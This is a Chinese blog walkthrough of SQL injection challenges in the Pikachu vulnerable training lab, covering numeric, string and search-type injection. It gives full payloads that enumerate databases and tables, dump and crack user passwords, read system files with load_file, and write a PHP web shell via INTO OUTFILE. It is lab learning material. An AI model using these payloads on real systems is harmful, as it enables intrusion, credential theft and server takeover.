目录
一、官方的戏精引言
本节引用来自pikachu漏洞靶场
哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
二、仙女在认真闯关
先说一句,靶场的配套数据库是mysql
一重天 数字型注入
*数字型注入相关的sql语句大概是个 select xxcolumns from xxtable where id=input的形式。*
这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。

果然是POST方法

后面开始用firefox的hackbar来实施注入,比用burpsuite直观方便点
既然题目说了是数字型,就不找闭合了,按照下面的步骤进行:
1、找列数 payload: id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2
payload中的n为数字,表示select语句结果的列数,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。比如从下面两张图可知select语句查询结果有2列。


2、爆库 payload:id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2
上一步知道了查询结果有两列,再看浏览器的返回结果,有用户名和邮箱,所以估计返回结果的两列都是可显示的,因此爆库的时候随便选一列就好。
当前数据库叫pikachu

3、爆表 payload:id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
表有httpinfo,member,message,users,xssblind

4、爆列 payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2

5、爆数据 payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2

密码是md5的,拿去网站https://cmd5.com/爆破一下
admin的密码是123456,pikachu的密码是000000,test的密码是abc123。
6、读文件 payload:id=1 union select load_file('C:/Windows/win.ini'),1 from users#&submit=%E6%9F%A5%E8%AF%A2

7、写马 payload:id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#&submit=%E6%9F%A5%E8%AF%A2
虽然出现报错,但是马其实已经写好了


二重天 字符型注入
*字符型注入相关的sql语句大概是个 select xxcolumns from xxtable where param ='input'的形式。*
随便输入个用户名fancy,提示输入的用户不存在,得到个url

移步firefox开始进行sql注入步骤:
1、找列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' order by 2%23&submit=%E6%9F%A5%E8%AF%A2
payload中的%23就是#,由于在url中#有特殊含义所以要转义
原理和上一关一样,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。
最终发现查询结果列数为2
2、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2
由于fancy是不存在的用户,不会返回结果,因此返回的结果只有当前数据库名称,pikachu

3、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

4、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

5、爆数据 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

6、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,load_file('C:/Windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2

7、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,'<?php assert($_POST[2]); ?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/2.php'%23&submit=%E6%9F%A5%E8%AF%A2


三重天 搜索型注入
*搜索型注入相关的sql语句大概是个 select xxcolumns from xxtable where param like '%input%'的形式。本质还是字符型注入,只是闭合不一样。*
先输入个xi,搜索之后虽然没有搜索到输入的信息,但是得到了url,目的达成。

下面来开始注入:
1、找闭合
地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi'&submit=%E6%90%9C%E7%B4%A2
有下图的报错信息,根据报错信息判断闭合是%'

输入payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%'%23&submit=%E6%90%9C%E7%B4%A2
进行验证,没有报错,说明闭合猜对了

本文详细解析了从数字型到宽字节注入的SQL注入技巧,涵盖了官方引言、数字型注入、字符型注入、搜索型注入、xx型注入、insert/update注入、delete注入、http头注入、盲注及宽字节注入,适合学习和实战者
最低0.47元/天 解锁文章
3759

被折叠的 条评论
为什么被折叠?



